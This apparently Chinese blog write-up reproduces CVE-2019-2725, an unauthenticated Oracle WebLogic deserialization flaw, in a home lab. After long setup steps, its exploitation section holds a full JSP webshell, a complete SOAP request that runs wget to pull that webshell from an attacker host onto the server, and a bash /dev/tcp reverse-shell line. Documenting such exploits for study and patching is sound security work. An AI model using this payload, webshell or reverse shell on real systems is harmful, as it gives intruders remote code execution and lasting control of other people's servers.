CVE-2019-2725复现(从环境搭建到getshell)

一、前言

这一篇文章是我今天复现CVE-2019-2725时之后总结的一次完整的复现流程(从环境搭建到getshell),算是比较全的复现过程了,供大家参考,如有不足,欢迎指正。

二、漏洞描述

Oracle WebLogic Server反序列化漏洞 ,该远程代码执行漏洞无需身份验证即可远程利用,即无需用户名和密码即可通过网络利用。

三、影响版本

Oracle WebLogic Server,版本 10.3.6.0、12.1.3.0

四、测试环境准备

注:我这里主要介绍linux下weblogic的搭建

1、Ubuntu

我用的ubuntu16,大家随意

2、Windows

我用的windows10,大家随意

3、jdk7

这里建议使用jdk7,我用的是jdk-7u80-linux-x64,当然,不一定非要是7u80,其他也可以
下载地址:https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html#jdk-7u80-oth-JPR

如果大家无法下载,我传到了百度云,大家可自行去下载,地址:
链接:https://pan.baidu.com/s/1A4o5Z6uU-qymo9kp8oxeGQ
提取码:m71r

4、weblogic10.3.6

这里我使用的是weblogic10.3.6
下载地址:https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html

百度云地址:
链接:https://pan.baidu.com/s/1heHPX7ihWrlHzYtUWgKvOA
提取码:tatl

五、环境搭建

ubuntu搭建就不细说了,我们接下来开始搭建weblogic服务

1、安装jdk7

(1)将下载好的jdk文件传到ubuntu中

在这里插入图片描述

(2)在/usr/lib目录中创建一个jvm目录,将该jdk文件移动其中

cd /usr/lib/
sudo mkdir jvm
sudo mv /home/n1v1r/桌面/jdk-7u80-linux-x64.tar.gz jvm/
cd jvm/

在这里插入图片描述
在这里插入图片描述

(3)将jdk-7u80-linux-x64.tar.gz进行解压

sudo tar zxf jdk-7u80-linux-x64.tar.gz 

在这里插入图片描述

(4)将jdk1.7.0_80目录重命名为jdk

注:重命名随意,只不过需要注意的是.bashrc文件中/usr/lib/jvm/后面的名称也需要跟着改变
在这里插入图片描述

(5)修改.bashrc配置文件

sudo vim ~/.bashrc

可能出现的错误:如果无法使用vim,使用sudo apt-get install vim进行安装

注:有人在使用以上安装命令时也可能会出现如下所示错误

E: 无法获得锁 /var/lib/dpkg/lock - open (11: 资源暂时不可用) E: 无法锁定管理目录(/var/lib/dpkg/),是否有其他进程正占用它?

解决方法,输入如下命令:

sudo rm /var/cache/apt/archives/lock
sudo rm /var/lib/dpkg/lock

打开文件后,我们在内容的末尾追加如下内容:

export JAVA_HOME=/usr/lib/jvm/jdk
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH

在这里插入图片描述

(6)reboot重启ubuntu

(7)查看java版本

出现如下你安装的指定版本,说明安装成功
在这里插入图片描述

2、安装weblogic

注:先完成第一步jdk的安装再进行这一步

(1)移动wls1036_generic.jar

将下载好的wls1036_generic.jar移动到ubuntu的用户目录下,我这里是n1v1r,如下所示
在这里插入图片描述

(2)执行安装命令,具体过程如下

我这里使用的是命令行安装,如下所示:

java -jar wls1036_generic.jar -mode=console

注:-mode=console表示使用命令行安装,如果想要使用图形化,使用如下命令即可,步骤是一样的

java -jar wls1036_generic.jar

在这里插入图片描述
在这里插入图片描述

这里详细介绍一下命令行安装步骤
0x01:
在这里插入图片描述
0x02:
在这里插入图片描述
0x03:
在这里插入图片描述
0x04:
在这里插入图片描述
在这里插入图片描述
0x05:
在这里插入图片描述
0x06:
在这里插入图片描述
0x07:
在这里插入图片描述
0x08:
在这里插入图片描述
0x09:
在这里插入图片描述
0x10:出现下图所示表示安装成功
在这里插入图片描述
注:其实这里每一步都是下一步也可以

(2)安装完成后,执行domain域

0x01:进入weblogic的安装目录,找到config.sh
例如我这里/home/n1v1r/Oracle/Middleware/wlserver_10.3/common/bin
输入./config.sh,回车
在这里插入图片描述

(3)配置过程

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

(4)启动weblogic

进入domain的安装目录,例如:
/home/nv1r/Oracle/Middleware/user_projects/domains/peak_domain
随后./startWebLogic.sh
注:我这里的n1v1r和peak_domain要根据你们自己的设置进行更改
在这里插入图片描述
在这里插入图片描述

(5)访问weblogic服务

访问:http://172.16.20.157:7001/console/
注:这里的ip可以是127.0.0.1或localhost
在这里插入图片描述

(6)主机访问虚拟机

注:需要将ubuntu的防火墙关闭,且主机能ping通ubuntu,不代表ubuntu防火墙关闭了

#查看防火墙状态
sudo ufw status
#关闭防火墙
sudo ufw disable
#打开防火墙
sudo ufw enable

在这里插入图片描述
访问http://172.16.20.157:7001/console
在这里插入图片描述
在这里插入图片描述
注:如果还是无法访问且无法ping通,可参考这种解决方法:关于Vmware下NAT模式物理机无法ping通虚拟机但是可以上网的解决方法

六、漏洞验证

1、payoad1

_async/AsyncResponseService

如果http://172.16.20.157:7001/_async/AsyncResponseService返回200则表示漏洞存在,如果返回404则表示漏洞不存在
在这里插入图片描述

2、payload2

_async

如果http://172.16.20.157:7001/_async返回403则表示漏洞存在,如果返回404则表示漏洞不存在
在这里插入图片描述

七、漏洞利用

注:利用时ubuntu需要安装wget命令

sudo apt-get install wget

1、环境

(1)有web服务的攻击机或vps

我这里使用本地环境,在本地使用phpstudy
在这里插入图片描述

(2)jsp一句话木马

在这里插入图片描述
在这里插入图片描述

jsp.txt源码,其中密码是peak,可自己修改

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("peak");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

2、使用burp写入jsp木马

(1)访问http://172.16.20.157:7001/_async/AsyncResponseService并抓包

在这里插入图片描述

(2)将GET改为POST,随后请求包部分除了第一行第二行保留,其他全部替换如下payload

POST /_async/AsyncResponseService HTTP/1.1
Host: 172.16.20.157:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 841
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://172.16.20.1/jsp.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/1.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

注意:如果你不知道上传到目标哪个目录中,可以使用如下payload,进行查看

/_async/AsyncResponseService?info

如下所示:
在这里插入图片描述

(3)使用payload上传jsp木马

在这里插入图片描述

(4)访问靶机的1.jsp

http://172.16.20.157:7001/_async/1.jsp

在这里插入图片描述
访问成功即可使用蚁剑进行连接

(5)蚁剑连接

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、反弹shell

(1)payload

bash -i >& /dev/tcp/target ip/target port 0>&1
这里>&需要转换,否则无法利用
例:
bash -i &gt;&amp; /dev/tcp/172.16.20.132/9999 0&gt;&amp;1

(2)利用详情

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
注:如果对反弹shell不太了解的可以参考:nc——制作后门连接与反弹shell连接的使用

八、漏洞修复

官方补丁:https://www.oracle.com/security-alerts/alert-cve-2019-2725.html

注:
JDK搭建参考
weblogic搭建参考

  • 18
    点赞
  • 41
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

1stPeak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值